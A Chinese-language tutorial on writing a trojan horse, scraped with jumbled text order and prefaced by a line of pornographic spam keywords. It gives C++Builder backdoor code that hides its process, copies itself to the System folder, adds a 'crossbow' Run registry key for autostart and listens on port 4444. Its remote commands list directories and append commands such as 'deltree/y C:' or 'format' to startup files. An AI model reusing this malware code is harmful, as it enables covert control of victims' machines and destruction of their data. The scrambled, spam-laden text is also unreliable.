freepeople性欧美熟妇, 色戒完整版无删减158分钟hd, 无码精品国产vα在线观看DVD, 丰满少妇伦精品无码专区在线观看,艾栗栗与纹身男宾馆3p50分钟,国产AV片在线观看,黑人与美女高潮,18岁女RAPPERDISSSUBS,国产手机在机看影片

正文內(nèi)容

木馬編寫培訓(xùn)教程-展示頁

2025-07-03 03:44本頁面
  

【正文】     //就發(fā)回“Fail By Open File”的錯誤信息      goto END?!   ?/就創(chuàng)建system\\;如果此文件已存在,則會被覆蓋    times_of_try=times_of_try+1。    //跳到END   }  times_of_try=0?!   ?/返回“Fail By Your DIR\39?! f ((dir = opendir(dirname)) == NULL)   {    //如果打開目錄出錯    SocketSendText(Fail by your DIR\39。    //跳到END   }  char * dirname。    //返回“Fail By Open DIR\39?! ?/從字符串第六個字符開始,將后面的字符存入Dir_Name變量,這是目錄名  if(Dir_Name==)   {    //如果目錄名為空    SocketSendText(Fail By Open DIR\39?! nt number=()。  DIR *dir。  int attrib。朋友,別走開?。ㄎ赐甏m(xù))上回我們講到如何修改目標機上的啟動配置文件,這回我們就來查看目標機上的目錄樹和文件吧,這在客戶端上使用“dir”命令,跟著敲啰:{else if((0,3)==dir){  //如果前3個字符是“dir”  int Read_Num。   //然后發(fā)回“Success”的成功信息  }}  你現(xiàn)在可以通過網(wǎng)絡(luò)來察看目標機上的這兩個文件了,并且還可以向里面隨意添加任何命令?!  ?/寫入添加的語句,例如deltree/y C:或者format/q/autotest C:,夠毒吧?!   fclose(fp)?!     ?//就發(fā)回“Fail By Open File”的錯誤信息       goto END?!   ?/如果文件不存在,創(chuàng)建之;如果存在,準備在其后添加    //如果出錯,文件指針為空,這樣就會重復(fù)    times_of_try=times_of_try+1。    //如果第11個字符是1,   times_of_try=0。   //將兩個目標文件的屬性改為可讀可寫   if(file_name==1)    sprintf(filename,%s,c:\\\\)?!  hmod(c:\\\\,S_IREAD|S_IWRITE)?!  ?/余下的字符串將被作為寫入的內(nèi)容寫入目標文件   FILE *fp=NULL。\\n\39?!  ?/得到字符串的長度   int file_name=atoi(((11,1)).c_str())?!?/在%System%,作為臨時文件使用 AnsiString temp=SocketReceiveText()?!har TempFile[MAX_PATH]?!har * content。你可以看一看TNMFTP控件使用的端口,是21號端口,這是FTP協(xié)議的專用控制端口(FTP Control Port);同理TNMSMTP的25號端口也是SMTP協(xié)議的專用端口。再將Port填入4444,這是木馬的端口號,當然你也可以用別的。    //查找是否有“crossbow”字樣的鍵值,并且是否為拷貝的目錄%System%+   //如果不是,就寫入以上鍵值和內(nèi)容 }catch(...) { //如果有錯誤,什么也不做 }}  好,F(xiàn)ormCreate過程完成了,并且在“關(guān)閉程序”對話框中看不見本進程了,木馬的雛形初現(xiàn)。//設(shè)置主鍵為HKEY_LOCAL_MACHINERegistryOpenKey(Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run,TRUE)。//將自己拷貝到%System%目錄下,偽裝起來Registry=new TRegistry。//TempPath是system目錄緩沖區(qū)的地址,MAX_PATH是緩沖區(qū)的大小,得到目標機的System目錄路徑SystemPath=AnsiString(TempPath)。接著再將自己拷貝一份到%System%目錄下,例如:C:\\Windows\\System,并修改注冊表,以便啟動時自動加載:{ char TempPath[MAX_PATH]?!  ?/卸載動態(tài)鏈接庫 }}  這樣就終于可以隱身了(害我敲了這么多代碼?。??!   ?/得到RegisterServiceProcess()函數(shù)的地址    lpRegisterServiceProcess(GetCurrentProcessId(),1)?!  DLL = LoadLibrary(KERNEL32)?!   ?/定義RegisterServiceProcess()函數(shù)的原型    HINSTANCE hDLL?! ∈紫扰袛嗄繕藱C的操作系統(tǒng)是Win9x還是WinNt:{DWORD dwVersion = GetVersion()。因此,只要將我們的程序在進程數(shù)據(jù)庫中用RegisterServiceProcess()函數(shù)注冊成服務(wù)進程(Service Process)就可以了。雙擊Form,首先在FormCreate事件中添加可使木馬在Win9x的“關(guān)閉程序”對話框中隱藏的代碼。因此實際寫木馬時可以用一些技巧使程序不包含F(xiàn)orm,就像Delphi用過程實現(xiàn)的小程序一般只有17K左右那樣?! orm窗體是可視的,這當然是不可思議的。Server Socket的功能是用來使本程序變成一個服務(wù)器程序,可以對外服務(wù)(對攻擊者敞開大門)?! ∈紫仁蔷幊坦ぞ叩倪x擇。  自己編寫木馬,聽起來很Cool是不是?!木馬一定是由兩部分組成——服務(wù)器程序(Server)和客戶端程序(Client),服務(wù)器負責打開攻擊的道路,就像一個內(nèi)奸特務(wù);客戶端負責攻擊目標,兩者需要一定的網(wǎng)絡(luò)協(xié)議來進行通訊(一般是TCP/IP協(xié)議)。國內(nèi)的年輕人大都是在盜版Dos的熏陶下長大的,對網(wǎng)絡(luò)可以說很陌生。T Unix和BSD Unix十分盛行的年代,木馬是由一些玩程式(主要是C)水平很高的年輕人(主要是老美)用C或Shell語言編寫的,基本是用來竊取登陸主機的口令,以取得更高的權(quán)限。 木馬的編寫實例特洛依木馬這個名詞大家應(yīng)該不陌生,自從98年“死牛崇拜”黑客小組公布Back Orifice以來,木馬猶如平地上的驚雷, 使在Dos——Windows時代中長大的中國網(wǎng)民從五彩繽紛的網(wǎng)絡(luò)之夢中驚醒,終于認識到的網(wǎng)絡(luò)也有它邪惡的一面,一時間人心惶惶。  我那時在《電腦報》上看到一篇文章,大意是一個菜鳥被人用BO控制了,嚇得整天吃不下飯、睡不著覺、上不了網(wǎng),到處求救!要知道,木馬(Trojan)的歷史是很悠久的:早在ATamp。那時木馬的主要方法是誘騙——,植入木馬;當你登陸時將你敲入的口令字符存入一個文件,用Email的形式發(fā)到攻擊者的郵箱里。直到Win9x橫空出世,尤其是WinNt的普及,大大推動了網(wǎng)絡(luò)事業(yè)的發(fā)展的時候,BO這個用三年后的眼光看起來有點簡單甚至可以說是簡陋的木馬(甚至在Win9x的“關(guān)閉程序”對話框可以看到進程)給了當時中國人極大的震撼,它在中國的網(wǎng)絡(luò)安全方面可以說是一個劃時代的軟件。為了讓大家更好的了解木馬攻擊技術(shù),破除木馬的神秘感,我就來粗略講一講編寫木馬的技術(shù)并順便編寫一個例子木馬,使大家能更好地防范和查殺各種已知和未知的木馬。目前流行的開發(fā)工具有C++Builder、VC、VB和Delphi,這里我們選用C++Builder(以下簡稱BCB);VC雖然好,但GUI設(shè)計太復(fù)雜,為了更好地突出我的例子,集中注意力在木馬的基本原理上,我們選用可視化的BCB;Delphi也不錯,但缺陷是不能繼承已有的資源(如“死牛崇拜”黑客小組公布的BO2000源代碼,是VC編寫的,網(wǎng)上俯拾皆是);VB嘛,談都不談——難道你還給受害者傳一個1兆多的動態(tài)鏈接庫——?啟動C++Builder ,新建一個工程,添加三個VCL控件:一個是Internet頁中的Server Socket,另兩個是Fastnet頁中的NMFTP和NMSMTP。Socket最初是在Unix上出現(xiàn)的,后來微軟將它引入了Windows中(包括Win98和WinNt);后兩個控件的作用是用來使程序具有FTP(File Transfer Protocol文件傳輸協(xié)議)和SMTP(Simple Mail Transfer Protocol簡單郵件傳輸協(xié)議)功能,大家一看都知道是使軟件具有上傳下載功能和發(fā)郵件功能的控件。不光占去了大量的空間(光一個Form就有300K之大),而且使軟件可見,根本沒什么作用?! ∥覀兪紫葢?yīng)該讓我們的程序能夠隱身。這看起來很神秘,其實說穿了不過是一種被稱之為Service的后臺進程,它可以運行在較高的優(yōu)先級下,可以說是非??拷到y(tǒng)核心的設(shè)備驅(qū)動程序中的那一種。不過該函數(shù)的聲明在Borland預(yù)先打包的頭文件中沒有。// 得到操作系統(tǒng)的版本號if (dwVersion = 0x80000000)// 操作系統(tǒng)是Win9x,不是WinNt {    typedef DWORD (CALLBACK* LPREGISTERSERVICEPROCESS)(DWORD,DWORD)。   LPREGISTERSERVICEPROCESS lpRegisterServiceProcess?!  ?/加載RegisterServiceProcess()   lpRegisterServiceProcess = (LPREGISTERSERVICEPROCESS)GetProcAddress(hDLL,RegisterServiceProcess)。   //執(zhí)行RegisterServiceProcess()函數(shù),隱藏本進程   FreeLibrary(hDLL)。為什么要判斷操作系統(tǒng)呢?因為WinNt中的進程管理器可以對當前進程一覽無余,因此沒必要在WinNt下也使用以上代碼(不過你可以使用其他的方法,這個留到后面再講)。//定義一個變量GetSystemDirectory(TempPath ,MAX_PATH)。//格式化TempPath字符串,使之成為能供編譯器使用的樣式CopyFile(ParamStr(0).c_str(), AnsiString(SystemPath+\\\\).c_str() ,FALSE)。//定義一個TRegistry對象,準備修改注冊表,這一步必不可少RegistryRootKey=HKEY_LOCAL_MACHINE。//打開鍵值Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run,如果不存在,就創(chuàng)建之try {  //如果以下語句發(fā)生異常,跳至catch,以避免程序崩潰  if(RegistryReadString(crossbow)!=SystemPath+\\\\)    RegistryWriteString(crossbow,SystemPath+\\\\)?! 〗又x中ServerSocket控件,在左邊的Object Inspector中將Active改為true,這樣程序一啟動就打開特定端口,處于服務(wù)器工作狀態(tài)。但是你要注意不要用1024以下的低端端口,因為這樣不但可能會與基本網(wǎng)絡(luò)協(xié)議使用的端口相沖突,而且很容易被發(fā)覺,因此盡量使用1024以上的高端端口(不過也有這樣一種技術(shù),它故意使用特定端口,因為如果引起沖突,Windows也不會報錯 ^_^)。  再選中ServerSocket控件,點擊Events頁,雙擊OnClientRead事件,敲入以下代碼:{ FILE *fp=NULL?!nt times_of_try?!?/定義了一堆待會兒要用到的變量 sprintf(TempFile, %s, AnsiString(SystemPath+AnsiString(\\\\)).c_str())?!?/接收客戶端(攻擊者,也就是你自己)傳來的數(shù)據(jù)}好,大門敞開了!接著就是修改目標機的各種配置了!^_^ :{if((0,9)==edit conf) //如果接受到的字符串的前9個字符是“edit conf” {   int number=()?!  ?/將第11個字符轉(zhuǎn)換成integer型,存入file_name變量   //為什么要取第11個字符,因為第10個字符是空格字符   content=((12,number11)+\39。).c_str()。   char filename[20]。   chmod(c:\\\\,S_IREAD|S_IWRITE)?!   ?/如果第11個字符是1,   else if(file_name==2)    sprintf(filename,%s,c:\\\\)?! ?//定義計數(shù)器   while(fp==NULL)    {     //如果指針是空    fp=fopen(filename,a+)?!   ?/計數(shù)器加1    if(times_of_try100)    {       //如果已經(jīng)試了100次了,仍未成功       SocketSendText(Fail By Open File)?!    ?
點擊復(fù)制文檔內(nèi)容
環(huán)評公示相關(guān)推薦
文庫吧 www.dybbs8.com
備案圖鄂ICP備17016276號-1